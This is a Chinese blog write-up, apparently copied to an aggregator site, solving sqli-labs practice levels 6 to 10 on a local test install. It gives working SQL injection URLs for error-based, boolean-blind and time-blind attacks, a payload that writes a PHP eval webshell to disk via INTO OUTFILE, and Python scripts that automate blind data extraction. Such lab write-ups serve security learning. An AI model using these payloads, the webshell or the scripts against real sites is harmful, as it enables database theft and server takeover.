Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)
来源:互联网 发布:自学游戏制作 知乎 编辑:程序博客网 时间:2024/06/05 15:38
第六题 双引号双注入
和第五题一样的界面
单引号,不报错,
使用双引号
报错
http://localhost/sqli-labs/Less-6/?id=-1"; union select 1 from(select count(*),concat_ws(':',(select version()),floor(rand(0)*2))a from information_schema.tables group by a )b%23
第七题 导出文件GET字符型注入
单引号:
报错但是不会输出错误语句
看下源代码。输出sql语句
两个括号有点恶心了。。。。
闭合,然后+双注入
一想不对啊,还是不会输出错误语句
http://localhost/sqli-labs/Less-7/?id=-1';)) union select 1 from(select count(*), concat_ws(':',(select version()),floor(rand(0)*2))a from interfarmation_schema.tables group by a )b%23
看到提示 outfile,导出文件
但是不会获取到绝对路径啊,看到参考的博客直接去前面的题获取了
绝对路径
我们去获取
使用 @@basedir 和@@datadir 获取路径
http://localhost/sqli-labs/Less-1/?id=-1'; union select 1,@@basedir,@@datadir %23
既然我们知道了绝对路径
我们直接写一句话导出来然后菜刀连接
http://localhost/sqli-labs/Less-7/?id=1';)) union select 1,2,'<?php @eval($_POST["Recar"]);?>' into outfile 'E:\\phpstudy\\WWW\\sqli-labs\\Recar.php' %23
执行完去看没有,在 phpmysql中执行报错
默认做了限制,我们去更改
我们先查看
show variables like '%secure%';
看到是NULL
修改: 在 mysql安装目录下的my.ini (windows)linux是my.conf
增加
secure-file-priv=""
执行成功
查看生成的文件
写入成功
不显示错误,有权限写入文件,又能获取绝对路径。写入一句话直接菜刀连接拿webshell
第八题 布尔型单引号GET盲注
又是一个什么都不会返回的页面
没有只会不输出 you are in….
盲注~
相关函数:
length(str) 返回str字符串的长度
substr(str,pos,len) 将str从pos位置开始截取len长度的字符进行返回。注意这里的 pos位置是从1开始的,不是数组的0开始的
mid(str,pos,len) 也是截取字符串
ascii(str) 返回字符串 str的最左面字符的ascii代码值
ascii(str) 返回字符串 str的最左面字符的ascii代码值
ord(str) 返回ascii
if(a,b,c) a为条件,a为true,返回b,否则返回c,如 if(1>2,1,0) 返回0
首先 select database()查询数据库
ascii(substr((select databses()),1,1)
将截取 查询结果即数据库的第一位字母的将其转为 ascii
我们可以判断执行 这个字母是哪个相等,对不对。
即
http://localhost/sqli-labs/Less-8/?id=1'; and ascii(substr((select database()),1,1 ))>64 %23
然后不断改变后面的数字大小,二分快一些。
写脚本:
思路:
可以根据返回的字节大小来快速判断是否正确,二分查询后面的数字。
# conding:utf-8import requestsurl_init = "http://localhost/sqli-labs/Less-8/?id=1";;url_init_error = url_init + "'"length_init = requests.get(url_init).headers.get('Content-Length')database=""# and ascii(substr((select database()),1,1))>64 %23 然后不断增加后面的数字大小来确定#and ascii(substr((select table_name from information_schema.tables where table_schema=hex(int (database))),1,1))>64 %23# 写一个方法二分快速获取应该判断的数字# 返回数字,传入布尔值,对还是错,对应的数字。# 正经的二分查询。有序的字符中,最大最小。65到122# 我们现在知道了返回长度多少是正确的和错误的#def get_length(url): length = requests.get(url).headers.get('Content-Length') #print("length:"+str(length)) # 正确的 if (length == length_init): return True else: return Falsedef geturl(n,number): url = url_init_error+"and ascii(substr((select database()),{0},1))>{1} %23".format(n,number) print(url) return urldef efs(min_number,max_number,n): if(max_number-min_number==1): print("[+] get "+chr(max_number)) global database database=database+(chr(max_number)) print('[+] databse is {0}'.format(database)) return number = int((min_number+max_number)/2) #print(number) url = geturl(n,number) #print(url) #如果比中间大 if get_length(url): efs(number,max_number,n) else: efs(min_number,number,n)for n in range(1,10): #如果大于1都不满足就是结束了 if(get_length(geturl(n,1))is False): break else: efs(65,127,n)
实现了功能
接下来将代码写成跑全部表和字段的
主要更改的还是 playload
获取 表的长度
http://localhost/sqli-labs/Less-8/?id=1'and (select count(*) from information_schema.tables where table_schema=0x7365637572697479 )>4 %23
查询表名
select ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))>101;
即 payload
http://localhost/sqli-labs/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))>100 %23
这种大小判断太麻烦了,不如直接判断字符是否相等
好写但是效率不高
http://localhost/sqli-labs/Less-8/?id=1'and substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1)='e' %23
第九题
http://localhost:9096/sqli-labs/Less-9/?id=1
时间盲注
单双引号都不报错
源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }}
使用 if函数
if(判断语句,A,B)
如果判断语句是TRUE执行A,否则B
查看执行时间
http://localhost:9096/sqli-labs/Less-9/?id=1' and if((substr((select database()),1,1)='s'),sleep(5),NULL); %23
获取数据库名
先获取长度
SELECT * FROM users WHERE id='1' and if((length((select database()))=8),sleep(5),NULL); #' LIMIT 0,1;
代码
import requestsvalue ="abcdefghigklmnopqrstuvwxyz@_."data=""url = "http://localhost:9096/sqli-labs/Less-9/?id=1' and if((substr(({0}),{1},1)='{2}'),sleep(5),NULL); %23"url_length="http://localhost:9096/sqli-labs/Less-9/?id=1' and if((length(({0}))={1}),sleep(5),NULL); %23"def get_length(payload): for n in range(1,100): url= url_length.format(payload,n) print(url) if(get_respone(url)): print("[+] length is {0}".format(n)) return ndef get_data(payload,value,length): for n in range(1,length): for v in value : url_data = url.format(payload,n,v) print(url_data) if(get_respone(url_data)): global data data=data+v print("[+] data is {0}".format(data)) breakdef get_respone(url): try: html = requests.get(url,timeout=4) return False except Exception as e: print("......") return Truedatabse_payload ="select database()"get_data(databse_payload,value,get_length(databse_payload)+1)
第十题 双引号时间盲注
将第九题的单引号换成双引号
http://localhost/sqli-labs/Less-10/?id=1" and if((substr((select database()),1,1)='s'),sleep(5),NULL); %23
- Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)
- SQLi Labs writeup (附py脚本)
- 基于ArcEngine开发报错010096
- 基于Alcatraz安装CocoaPods报错
- 基于报错注入的Python代码
- 基于Alcatraz安装CocoaPods报错
- 基于Lucene7 IKAnalyzer 报错问题
- 基于脚本实现动
- 基于.NET CompactFramework的九宫格控件(附源码)
- Flex基于FXG仪表盘(附全部源代码)一
- Flex基于FXG仪表盘(附全部源代码)二
- Flex基于FXG仪表盘(附全部源代码)三
- 基于Redis的Bloomfilter去重(附Python代码)
- 基于消失点检测的道路检测(附源码)
- 基于nopCommerce的开发框架(附源码)
- 基于微服务架构的技术实践(附PPT)
- 基于librtmp的RTMP代理服务器(附代码)
- ⑦基于时间型SQL盲注
- linux ELF文件格式分析
- JavaScript基础(2.变量与数据类型)
- ubuntu 16.04 开机添加磁盘挂载
- Wildcard Matching:通配符匹配
- pycharm启动后总是不停的updating indices...indexing
- Sqli-labs6-10 盲注、基于时间,基于报错(附脚本)
- 2017.12.12日记
- 11号
- 12号
- V8 引擎编译 测试 64位+VS2012
- PHP实现微信支付功能开发+实例代码
- 数据库表的操作
- BATJ一线大公司需要什么样的前端
- 【双目视觉探索路2】获取视差图(未完待续)